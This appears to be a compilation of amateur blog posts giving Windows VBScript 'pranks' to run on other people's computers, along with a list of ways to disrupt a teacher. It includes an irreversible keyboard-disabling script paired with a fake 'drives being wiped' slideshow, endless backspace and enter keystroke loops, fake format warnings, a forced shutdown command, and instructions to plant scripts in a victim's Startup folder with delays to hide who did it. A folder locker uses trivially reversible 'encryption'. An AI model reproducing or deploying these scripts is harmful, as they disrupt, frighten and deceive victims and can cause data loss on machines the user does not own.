Great harmless virus

Today im gonna teach you a great trick you can use in school or your friends house.... it will show a black screen and tell that the pc has been infected by a virus and the hard drives are being wiped out ..... actually its just a powerpoint slide show on kiosk mode .. as pressing "esc" can end a kiosk slideshow i provided you guys with a vbs script that will disable the whole keyboard but beware that the disabled keyboard cant be reversed .... just follow the instructions below

1. first download "virus.rar"    Click to download "virus.rar"
2.extract the files and copy "final.pps" and "keyboard disable.vbs" to VICTIMS computer
3. put the files in :-
     
         C:/users/victims name/appdata/roaming/microsoft/windows/startmenu/programs/startup

4. now the powerpoint slide show will begin at startup .... if you want to check opening "final.pps" wont do no harm ... if you want to do some modifications use the "lol.pptx" or rename the "final.pps" to "final.pptx" check the slide show and you will know how the victim will feel when he sees it ...

Great ways to disturb the teacher

Dont like your teacher ..... she keeps on saying things you dont understand ... fear not ... start disturbing .. use these ways to disturb your teacher.. these are qualified and experienced by me ....

1. start talking bullshit and for everything they say ,you say "fish" that will drive them crazy
2. grab a big piece of paper and write " the dude behind me cant see" then sit at the front and keep raising it
3. the legendary trick : dont EVER do your homework
4. when submitting a paper always write "if you read this , the paper will self destruct in 5 seconds" if the                  
    teacher asks you about it tell her that she didnt read it properly
5. pass a blank paper around and keep laughing at it .. when teachers grab it and see .. they get really pissed  
6. if your teacher call you say " yo mama"
7. write with bright colored markers and crayons
8. always listen carefully for teachers mistakes .. then laugh like a freak and correct her
9.for everything your teacher say ,you say " prove it ??? " (and look innocent)
10. every time you do something right shout " YEEEESSSSSSS"
11. pretend you dont have a brain or you were recently brainwashed
12. when they ask questions say " sorry, the brain you tried to reach has been disconnected
13. enter the class like James bond and play that tune with your mouth

just remember .. i wont be responsible if you do this in class and get into trouble

Make your computer welcome you

you can make your computer welcome you by using this vbs script ... this will say "hello master" you can change to whatever you want

Dim speaks, speech
speaks="hello, master"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks

then paste the vbs file to:
C:/users/your user/appdata/roaming/microsoft/windows/startmenu/programs/startup

File locker for FREE

COPY THIS SCRIPT TO NOTEPAD TO CREATE .VBS ...... it will make a locker for you 


ON ERROR RESUME NEXT
DIM FileFolder,FolderName,LockFolder,NameFile,ObjFSO,PassFile
SET ObjFSO=CreateObject("Scripting.FileSystemObject")
FileFolder="\C2F41D69-E2A7-5795-89B40080"
LockFolder=FileFolder&"\D4E221D2-3A5B-1069-52CF0600"
NameFile=FileFolder&"\E85D24D8-98F5-68C0-B28A0100"
PassFile=FileFolder&"\F69CD1E2-B5C3-21A7-A94E0070"
FolderName=ObjFSO.OpenTextFile(NameFile,1).ReadLine
CALL Decrypt(FolderName)
IF ObjFSO.FolderExists(FileFolder) THEN ObjFSO.GetFolder(FileFolder).attributes=39
IF ObjFSO.FolderExists(LockFolder) THEN ObjFSO.GetFolder(LockFolder).attributes=39
IF ObjFSO.FileExists(NameFile) THEN ObjFSO.GetFile(NameFile).attributes=39
IF ObjFSO.FileExists(PassFile) THEN ObjFSO.GetFile(PassFile).attributes=39
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
IF NOT ObjFSO.FolderExists(FolderName) AND NOT ObjFSO.FolderExists(LockFolder) THEN
CALL MakeFolder()
ELSE
IF NOT ObjFSO.FileExists(PassFile) THEN CALL NewPass()
END IF
IF ObjFSO.FolderExists(LockFolder) THEN
CALL VerifyUser()
CALL Unlock()
END IF
IF ObjFSO.FolderExists(FolderName) THEN CALL Menu()
SUB MakeFolder()
ON ERROR RESUME NEXT
DIM NewName
NewName=InputBox("Type new folder name :","Folder Locker")
IF IsEmpty(NewName) THEN WScript.Quit
IF (NewName)<>"" THEN
IF NOT ObjFSO.FolderExists(FileFolder) THEN
ObjFSO.CreateFolder(FileFolder)
ObjFSO.GetFolder(FileFolder).attributes=39
END IF
IF NOT ObjFSO.FolderExists(NewName) THEN
ObjFSO.CreateFolder(NewName)
ELSE
IF(MsgBox("Unable to make a new folder."&vbNewLine&"Folder with same name is already exist in this directory."&vbNewLine&"Try another name.",21,"Folder Locker"))=4 THEN
CALL MakeFolder()
ELSE
WScript.Quit
END IF
END IF
IF NOT ObjFSO.FolderExists(NewName) THEN
IF (MsgBox("Unable to make a new folder."&vbNewLine&"Some character is invalid.",21,"Folder Locker"))=4 THEN
CALL MakeFolder()
ELSE
WScript.Quit
END IF
END IF
IF ObjFSO.FileExists(NameFile) THEN
ObjFSO.GetFile(NameFile).attributes=0
ObjFSO.DeleteFile(NameFile),TRUE
END IF
CALL Encrypt(NewName)
ObjFSO.CreateTextFile(NameFile,TRUE).Write(NewName)
ObjFSO.GetFile(NameFile).attributes=39
MsgBox "Folder created successfully",64,"Folder Locker"
CALL NewPass()
WScript.Quit
ELSE
MsgBox "Folder Name can't be empty !!!",48,"Folder Locker"
CALL MakeFolder()
END IF
END SUB
SUB Rename()
ON ERROR RESUME NEXT
DIM NewName
NewName=InputBox("Type new name for your folder :","Folder Locker")
IF IsEmpty(NewName) THEN CALL Menu()
IF (NewName)<>"" THEN
IF ObjFSO.FolderExists(NewName) THEN
IF (MsgBox("Unable to rename folder."&vbNewLine&"Folder with same name is already exist in this directory."&vbNewLine&"Try another name.",21,"Folder Locker"))=4 THEN
CALL Rename()
ELSE
CALL Menu()
END IF
END IF
ObjFSO.MoveFolder(FolderName),(NewName)
IF NOT ObjFSO.FolderExists(NewName) THEN
IF (MsgBox("Unable to rename folder."&vbNewLine&"Some character is invalid.",21,"Folder Locker"))=4 THEN
CALL Rename()
ELSE
CALL Menu()
END IF
ELSE
IF ObjFSO.FileExists(NameFile) THEN
ObjFSO.GetFile(NameFile).attributes=0
ObjFSO.DeleteFile(NameFile),TRUE
END IF
CALL Encrypt(NewName)
ObjFSO.CreateTextFile(NameFile,TRUE).Write(NewName)
ObjFSO.GetFile(NameFile).attributes=39
FolderName=ObjFSO.OpenTextFile(NameFile,1).ReadLine
CALL Decrypt(FolderName)
MsgBox "Folder renamed successfully",64,"Folder Locker"
CALL Menu()
END IF
ELSE
MsgBox "Folder name can't be empty !!!",48,"Folder Locker"
CALL Rename()
END IF
END SUB
SUB VerifyUser()
ON ERROR RESUME NEXT
DIM PASS,UserPassword
PASS=InputBox("Type your password to unlock folder :","Folder Locker")
IF IsEmpty(PASS) THEN WScript.Quit
IF (PASS)<>"" THEN
UserPassword=ObjFSO.OpenTextFile(PassFile,1).ReadLine
CALL Decrypt(UserPassword)
IF NOT (PASS)=(UserPassword) THEN
IF (MsgBox("Wrong password !!!",21,"Folder Locker"))=4 THEN
CALL VerifyUser()
ELSE
WScript.Quit
END IF
END IF
ELSE
MsgBox "Empty password !!!",48,"Folder Locker"
CALL VerifyUser()
END IF
END SUB
SUB Unlock()
ON ERROR RESUME NEXT
IF ObjFSO.FolderExists(FolderName) THEN
MsgBox "Unable to unlock folder",48,"Folder Locker"
WScript.Quit
ELSE
ObjFSO.GetFolder(LockFolder).attributes=9
ObjFSO.MoveFolder(LockFolder),(FolderName)
MsgBox "Folder unlocked successfully",64,"Folder Locker"
WScript.CreateObject("WScript.Shell").Run("explorer.exe "&FolderName)
WScript.Quit
END IF
END SUB
SUB ChangePass()
ON ERROR RESUME NEXT
DIM Password
Password=InputBox("Type new password :","Folder Locker")
IF IsEmpty(Password) THEN CALL Menu()
IF (Password)<>"" THEN
DIM NewPassword
NewPassword=InputBox("Verify your new password :","Folder Locker")
IF IsEmpty(NewPassword) THEN CALL Menu()
IF (NewPassword)=(Password) THEN
CALL Encrypt(NewPassword)
IF ObjFSO.FileExists(PassFile) THEN
ObjFSO.GetFile(PassFile).attributes=0
ObjFSO.DeleteFile(PassFile),TRUE
END IF
ObjFSO.CreateTextFile(PassFile,TRUE).Write(NewPassword)
ObjFSO.GetFile(PassFile).attributes=39
MsgBox "New password has been saved",64,"Folder Locker"
CALL Menu()
ELSE
IF (MsgBox("Password doesn't match !!!",21,"Folder Locker"))=4 THEN
CALL ChangePass()
ELSE
CALL Menu()
END IF
END IF
ELSE
MsgBox "Password can't be empty !!!",48,"Folder Locker"
CALL ChangePass()
END IF
END SUB
SUB NewPass()
ON ERROR RESUME NEXT
DIM Password
Password=InputBox("Type new password :","Folder Locker")
IF IsEmpty(Password) THEN WScript.Quit
IF (Password)<>"" THEN
DIM NewPassword
NewPassword=InputBox("Verify new password :","Folder Locker")
IF IsEmpty(NewPassword) THEN WScript.Quit
IF (NewPassword)=(Password) THEN
CALL Encrypt(NewPassword)
IF ObjFSO.FileExists(PassFile) THEN
ObjFSO.GetFile(PassFile).attributes=0
ObjFSO.DeleteFile(PassFile),TRUE
END IF
ObjFSO.CreateTextFile(PassFile,TRUE).Write(NewPassword)
ObjFSO.GetFile(PassFile).attributes=39
MsgBox "New password has been saved",64,"Folder Locker"
WScript.Quit
ELSE
IF (MsgBox("Password doesn't match !!!",21,"Folder Locker"))=4 THEN
CALL NewPass()
ELSE
WScript.Quit
END IF
END IF
ELSE
MsgBox "Password can't be empty !!!",48,"Folder Locker"
CALL NewPass()
END IF
END SUB
SUB Lock()
ON ERROR RESUME NEXT
ObjFSO.MoveFolder(FolderName),(LockFolder)
ObjFSO.GetFolder(LockFolder).attributes=39
IF ObjFSO.FolderExists(FolderName) THEN
IF (MsgBox("Unable to Lock folder."&vbNewLine&"Save all data and close all applications that use this folder, then try again.",21,"Folder Locker"))=4 THEN
CALL Lock()
ELSE
CALL Menu()
END IF
END IF
MsgBox "Folder Locked successfully",64,"Folder Locker"
WScript.Quit
END SUB
SUB Encrypt(NewPassword)
ON ERROR RESUME NEXT
FOR i=1 TO LEN(NewPassword)
X=MID(NewPassword,i,1)
TMP=TMP & CHR(ASC(X)+50) & CHR(ASC(X)+99)
NEXT
NewPassword=TMP
END SUB
SUB Decrypt(UserPassword)
ON ERROR RESUME NEXT
FOR i=1 TO LEN(UserPassword) STEP 2
X=MID(UserPassword,i,1)
TMP=TMP & CHR(ASC(X)-50)
NEXT
UserPassword=TMP
END SUB
SUB Encrypt(NewName)
ON ERROR RESUME NEXT
FOR i=1 TO LEN(NewName)
X=MID(NewName,i,1)
TMP=TMP & CHR(ASC(X)+50) & CHR(ASC(X)+99)
NEXT
NewName=TMP
END SUB
SUB Decrypt(FolderName)
ON ERROR RESUME NEXT
FOR i=1 TO LEN(FolderName) STEP 2
X=MID(FolderName,i,1)
TMP=TMP & CHR(ASC(X)-50)
NEXT
FolderName=TMP
END SUB
SUB Menu()
ON ERROR RESUME NEXT
DIM Choice
Choice=InputBox("1) Lock Folder"&vbNewLine&"2) Rename Folder"&vbNewLine&"3) Change Password"&vbNewLine&""&vbNewLine&""&vbNewLine&"Input your choice :","Folder Locker")
IF IsEmpty(Choice) THEN WScript.Quit
IF (Choice)="1" THEN
IF (MsgBox("Lock your folder and exit ?",36,"Folder Locker"))=7 THEN
CALL Menu()
ELSE
CALL Lock()
END IF
END IF
IF (Choice)="2" THEN CALL Rename()
IF (Choice)="3" THEN CALL ChangePass()
MsgBox "Invalid input !!!",16,"Folder Locker"
CALL Menu()
END SUB

VBS PRANKS TO DRIVE YOUR FRIEND CRAZY

so today im going to share some vb scripts pranks ... copy them to notepad and save them ....they only work when you rename them ".vbs"

STOP ME IF YOU CAN 


MsgBox "stop me..! if you can"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


A msg box saying "stop me if you can" appears and then keeps pressing backspace ... i think you guys would know what will happen next



HIT ENTER


Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

this will keep hitting enter making it impossible to do anything

GENUINE WINDOWS PRANK


do
X = MsgBox("This copy of windows is not genuine. Starting computer format in 15 minutes. ", ,"Error")
X = MsgBox("Close all opened programs.", vbQuestion ,"Error")
loop

a msgbox pops up and says that the copy of windows is not genuine .. and it will start computer format in 15 minutes


CRAZY DRIVE


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


This is one of my favorites .. it keepss ejecting the cd roms ... and keeps on looping


HOW ARE YOU 


Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

this opens notepad and slowly writes how are you. im good. thanks .

SHUT DOWN


For ok = 0 To 1 Step 2
WScript.echo ("hello")
msgbox ("Are you having fun?")
msgbox ("Because I am.")
msgbox ("Let's have fun together!")
next
dim strShutDown,objShell
' -s = shutdown, -t 0 = no timeout, -f = force programs to close
strShutdown = "shutdown.exe -s -t 0 -f -m \\" & strComputer
set objShell = CreateObject("WScript.Shell")
objShell.Run strShutdown, 0, false

shuts down the computer after a message

malfunctioning software


do
intResponse = MsgBox("microsoft access has crashed", _
vbCritical + vbSystemModal, _
"Fatal Error!")

intResponse = MsgBox("Harmful virus detected!", _
vbExclamation + vbSystemModal, _
"Warning!")

intResponse = MsgBox("Computer must be formatted to remove virus. Do you want to start computer format now?", _
vbYesNo + vbExclamation + vbSystemModal + vbDefaultButton2, _
"Warning!")
If intresponse = vbYes Then
    intresponse = MsgBox("Prparing computer format. All data will be lost after computer format.", _
    vbExclamation + vbSystemModal, _
    "Warning!")
Else
    intResponse = MsgBox("Unable to cancel computer format", _
    vbCritical + vbSystemModal, _
    "Error")
    intresponse = MsgBox("Preparing computer format. All data will be lost after computer format.", _
    vbExclamation + vbSystemModal, _
    "Warning!")
End if

intresponse = MsgBox("Starting format!", _
vbExclamation + vbSystemModal, _
"Warning!")
loop

you can change the microsoft access to anything you want ... its harmless ... just msgboxes

DISCO


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

you can have a disco on your keyboard

to terminate these just go to task manager and check processes for wscript then end that ... ENJOY
for more fun add


WScript.Sleep 180000
WScript.Sleep 10000

to the start of the scripts by right clicking and selecting edit ... then the vbs will start some time later so your friends wont know you did it

for still more fun  copy the scripts to
 C:/users/the user you want to prank/appdata/roaming/microsoft/windows/startmenu/programs/startup
then the scripts will start every time the user starts his machine

How to make a frozen dektop

this is my first blog post and im going to teach you a wicked trick ....... if you have friend you want to trick ...... you can freeze his desktop .. there are two ways to do this . [the easy-to-make and easy-to-reverse] way and the [not-easy-way-to-make and hard-to-reverse way :D] 

                                     EASY TO MAKE and EASY TO REVERSE                                                                                

1) you just take a printscreen of his (or her)  desktop when they are not looking or went to get something or whatever

2) then paste the photo in clipboard to paint or any graphical prog 

3) save it and open it with windows photo veiwer which has a slide show button on the middle 

click it and see the magic a frozen desktop 

4) pressing "esc" will end it... there you go .... enjoy

                                 NOT EASY TO MAKE and HARD TO REVERSE                                                                         

so this is the hard prank desktop freeze

1) first take the printcreen , paste it , and save it 

2) then set hide attribute to all the shortcuts on the desktop

3) the "computer" and recycle bin " cant be hidden 

4) now set the printscreen file as desktop background 

5) ENJOY !!!